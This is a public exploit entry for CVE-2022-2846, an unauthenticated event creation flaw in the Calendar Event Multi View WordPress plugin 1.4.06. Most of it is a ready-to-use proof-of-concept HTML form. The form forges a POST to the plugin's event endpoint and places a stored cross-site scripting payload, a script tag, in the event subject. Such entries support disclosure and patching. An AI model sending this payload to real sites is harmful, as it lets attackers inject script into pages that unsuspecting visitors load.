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51 lines
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2.3 KiB
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# Exploit Title: Calendar Event Multi View 1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS)
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# Date: 2022-05-25
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# Exploit Author: Mostafa Farzaneh
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# WPScan page:
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https://wpscan.com/vulnerability/95f92062-08ce-478a-a2bc-6d026adf657c
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# Vendor Homepage: https://wordpress.org/plugins/cp-multi-view-calendar/
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# Software Link:
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https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.4.06.zip
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# Version: 1.4.06
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# Tested on: Linux
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# CVE : CVE-2022-2846
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# Description:
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The Calendar Event Multi View WordPress plugin before 1.4.07 does not have
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any authorisation and CSRF checks in place when creating an event, and is
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also lacking sanitisation as well as escaping in some of the event fields.
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This could allow unauthenticated attackers to create arbitrary events and
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put Cross-Site Scripting payloads in it.
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#POC and exploit code:
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As an unauthenticated user, to add a malicious event (on October 6th, 2022)
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to the calendar with ID 1, open the code below
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<html>
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<body>
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<form action="
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https://example.com/?cpmvc_do_action=mvparse&f=datafeed&calid=1&month_index=0&method=adddetails"
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method="POST">
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<input type="hidden" name="Subject"
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value='"><script>alert(/XSS/)</script>' />
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<input type="hidden" name="colorvalue" value="#f00" />
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<input type="hidden" name="rrule" value="" />
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<input type="hidden" name="rruleType" value="" />
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<input type="hidden" name="stpartdate" value="10/6/2022" />
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<input type="hidden" name="stparttime" value="00:00" />
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<input type="hidden" name="etpartdate" value="10/6/2022" />
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<input type="hidden" name="etparttime" value="00:00" />
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<input type="hidden" name="stpartdatelast" value="10/6/2022" />
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<input type="hidden" name="etpartdatelast" value="10/6/2022" />
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<input type="hidden" name="stparttimelast" value="" />
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<input type="hidden" name="etparttimelast" value="" />
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<input type="hidden" name="IsAllDayEvent" value="1" />
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<input type="hidden" name="Location" value="CSRF" />
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<input type="hidden" name="Description" value='<p style="text-align:
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left;">CSRF</p>' />
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<input type="hidden" name="timezone" value="4.5" />
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<input type="submit" value="Submit request" />
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</form>
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</body>
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</html>
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The XSS will be triggered when viewing the related event |